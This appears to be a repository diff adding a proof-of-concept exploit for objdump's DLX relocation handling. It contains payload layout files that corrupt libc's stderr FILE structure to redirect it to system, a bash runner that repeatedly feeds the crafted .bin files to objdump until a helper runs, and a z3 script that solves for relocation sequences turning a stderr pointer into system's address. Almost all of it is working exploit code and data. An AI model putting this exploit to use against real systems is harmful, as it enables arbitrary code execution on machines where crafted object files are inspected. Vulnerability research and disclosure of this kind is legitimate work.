013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x06
|
||||
buf_delta=0x6f300000
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x06
|
||||
buf_delta=0x702fff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7042e500
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
layout=wsl2404
|
||||
flag_byte4=0x06
|
||||
buf_delta=0x702fff00
|
||||
wide_delta=0x4fff0000
|
||||
system_delta=0x7043e4ff
|
||||
command=P
|
||||
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
|
||||
|
||||
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
|
||||
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
|
||||
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
|
||||
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
|
||||
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
|
||||
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
|
||||
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
|
||||
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
|
||||
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
|
||||
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
|
||||
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
|
||||
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
|
||||
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
|
||||
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
|
||||
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
|
||||
015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
|
||||
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
|
||||
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
|
||||
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
|
||||
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
|
||||
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
|
||||
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
|
||||
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
024 target=0x0 sym=0x00000000 pad R_DLX_NONE
|
||||
40
objdump-dlx-calc-poc/run_dlx_calc_poc.sh
Executable file
40
objdump-dlx-calc-poc/run_dlx_calc_poc.sh
Executable file
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env bash
|
||||
set -u
|
||||
|
||||
BASE_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
OUT_DIR="${2:-$BASE_DIR/payloads}"
|
||||
MAX_TRIES="${MAX_TRIES:-50}"
|
||||
|
||||
if [ "$#" -lt 1 ]; then
|
||||
echo "usage: $0 /path/to/objdump [payload-directory]" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
OBJ="$1"
|
||||
|
||||
if [ ! -x "$OBJ" ]; then
|
||||
echo "objdump not executable: $OBJ" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if ! compgen -G "$OUT_DIR/*.bin" >/dev/null; then
|
||||
python3 "$BASE_DIR/generate_objdump_dlx_calc_poc.py" --out-dir "$OUT_DIR" >/dev/null
|
||||
fi
|
||||
|
||||
cd "$BASE_DIR" || exit 2
|
||||
export PATH="$BASE_DIR:$PATH"
|
||||
rm -f "$BASE_DIR/calc_hit.log"
|
||||
|
||||
for try in $(seq 1 "$MAX_TRIES"); do
|
||||
for payload in "$OUT_DIR"/*.bin; do
|
||||
python3 -c 'import subprocess, sys
|
||||
subprocess.run([sys.argv[1], "-g", sys.argv[2]], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)' "$OBJ" "$payload" >/dev/null 2>&1 || true
|
||||
if grep -q "CALC_HELPER_RAN" "$BASE_DIR/calc_hit.log" 2>/dev/null; then
|
||||
echo "HIT try=$try payload=$payload"
|
||||
exit 0
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
echo "MISS after $MAX_TRIES sweeps" >&2
|
||||
exit 1
|
||||
159
objdump-dlx-calc-poc/tools/search_pointer_transform.py
Normal file
159
objdump-dlx-calc-poc/tools/search_pointer_transform.py
Normal file
@@ -0,0 +1,159 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
from itertools import product
|
||||
|
||||
from z3 import BitVec, BitVecVal, Extract, Solver, ZeroExt, sat
|
||||
|
||||
|
||||
STDERR = 0x2044E0
|
||||
SYSTEM = 0x58750
|
||||
|
||||
|
||||
def bytes_from_word32(x):
|
||||
return [(x >> (8 * i)) & 0xFF for i in range(4)]
|
||||
|
||||
|
||||
def z3_input(base):
|
||||
p = (base + STDERR) & 0xFFFFFFFF
|
||||
p = BitVecVal(p, 32)
|
||||
return [Extract(8 * i + 7, 8 * i, p) for i in range(4)]
|
||||
|
||||
|
||||
def z3_target(base):
|
||||
s = (base + SYSTEM) & 0xFFFFFFFF
|
||||
s = BitVecVal(s, 32)
|
||||
return [Extract(8 * i + 7, 8 * i, s) for i in range(4)]
|
||||
|
||||
|
||||
def add8(bs, off, k):
|
||||
out = list(bs)
|
||||
out[off] = out[off] + Extract(7, 0, k)
|
||||
return out
|
||||
|
||||
|
||||
def add16(bs, off, k):
|
||||
out = list(bs)
|
||||
w = (ZeroExt(8, bs[off]) << 8) | ZeroExt(8, bs[off + 1])
|
||||
w = Extract(15, 0, w + Extract(15, 0, k))
|
||||
out[off] = Extract(15, 8, w)
|
||||
out[off + 1] = Extract(7, 0, w)
|
||||
return out
|
||||
|
||||
|
||||
def add32(bs, off, k):
|
||||
out = list(bs)
|
||||
w = (
|
||||
(ZeroExt(24, bs[off]) << 24)
|
||||
| (ZeroExt(24, bs[off + 1]) << 16)
|
||||
| (ZeroExt(24, bs[off + 2]) << 8)
|
||||
| ZeroExt(24, bs[off + 3])
|
||||
)
|
||||
w = w + k
|
||||
out[off] = Extract(31, 24, w)
|
||||
out[off + 1] = Extract(23, 16, w)
|
||||
out[off + 2] = Extract(15, 8, w)
|
||||
out[off + 3] = Extract(7, 0, w)
|
||||
return out
|
||||
|
||||
|
||||
def apply_z3(bs, op, k):
|
||||
kind, off = op
|
||||
if kind == 8:
|
||||
return add8(bs, off, k)
|
||||
if kind == 16:
|
||||
return add16(bs, off, k)
|
||||
if kind == 32:
|
||||
return add32(bs, off, k)
|
||||
raise ValueError(op)
|
||||
|
||||
|
||||
def apply_concrete(bs, op, k):
|
||||
bs = list(bs)
|
||||
kind, off = op
|
||||
if kind == 8:
|
||||
bs[off] = (bs[off] + k) & 0xFF
|
||||
elif kind == 16:
|
||||
w = ((bs[off] << 8) | bs[off + 1])
|
||||
w = (w + k) & 0xFFFF
|
||||
bs[off] = (w >> 8) & 0xFF
|
||||
bs[off + 1] = w & 0xFF
|
||||
elif kind == 32:
|
||||
w = (bs[off] << 24) | (bs[off + 1] << 16) | (bs[off + 2] << 8) | bs[off + 3]
|
||||
w = (w + k) & 0xFFFFFFFF
|
||||
bs[off] = (w >> 24) & 0xFF
|
||||
bs[off + 1] = (w >> 16) & 0xFF
|
||||
bs[off + 2] = (w >> 8) & 0xFF
|
||||
bs[off + 3] = w & 0xFF
|
||||
return bs
|
||||
|
||||
|
||||
def check_all(seq, ks):
|
||||
for base in range(0, 1 << 32, 0x1000):
|
||||
bs = bytes_from_word32((base + STDERR) & 0xFFFFFFFF)
|
||||
want = bytes_from_word32((base + SYSTEM) & 0xFFFFFFFF)
|
||||
for op, k in zip(seq, ks):
|
||||
bs = apply_concrete(bs, op, k)
|
||||
if bs != want:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def solve_sequence(seq):
|
||||
reps = [
|
||||
0x00000000,
|
||||
0x00008000,
|
||||
0x00DFC000,
|
||||
0x00E08000,
|
||||
0xFFDFC000,
|
||||
0xFFE08000,
|
||||
]
|
||||
solver = Solver()
|
||||
ks = []
|
||||
for i, op in enumerate(seq):
|
||||
width = {8: 8, 16: 16, 32: 32}[op[0]]
|
||||
ks.append(BitVec(f"k{i}", width))
|
||||
for base in reps:
|
||||
bs = z3_input(base)
|
||||
for op, k in zip(seq, ks):
|
||||
if op[0] != k.size():
|
||||
k = ZeroExt(op[0] - k.size(), k)
|
||||
bs = apply_z3(bs, op, k)
|
||||
want = z3_target(base)
|
||||
for got, expected in zip(bs, want):
|
||||
solver.add(got == expected)
|
||||
if solver.check() != sat:
|
||||
return None
|
||||
model = solver.model()
|
||||
vals = [model[k].as_long() for k in ks]
|
||||
if check_all(seq, vals):
|
||||
return vals
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--max-extra", type=int, default=4)
|
||||
parser.add_argument("--mode", choices=("all", "r32-first", "r32-last"), default="r32-first")
|
||||
args = parser.parse_args()
|
||||
|
||||
ops = [(32, 0)] + [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
|
||||
correction_ops = [(16, i) for i in range(3)] + [(8, i) for i in range(4)]
|
||||
for extra in range(0, args.max_extra + 1):
|
||||
print(f"extra={extra}", flush=True)
|
||||
if args.mode == "all":
|
||||
sequences = product(ops, repeat=extra + 1)
|
||||
elif args.mode == "r32-first":
|
||||
sequences = (((32, 0), *tail) for tail in product(correction_ops, repeat=extra))
|
||||
else:
|
||||
sequences = ((*head, (32, 0)) for head in product(correction_ops, repeat=extra))
|
||||
for seq in sequences:
|
||||
result = solve_sequence(seq)
|
||||
if result is not None:
|
||||
print("FOUND", seq, [hex(x) for x in result])
|
||||
return 0
|
||||
print("no sequence found")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user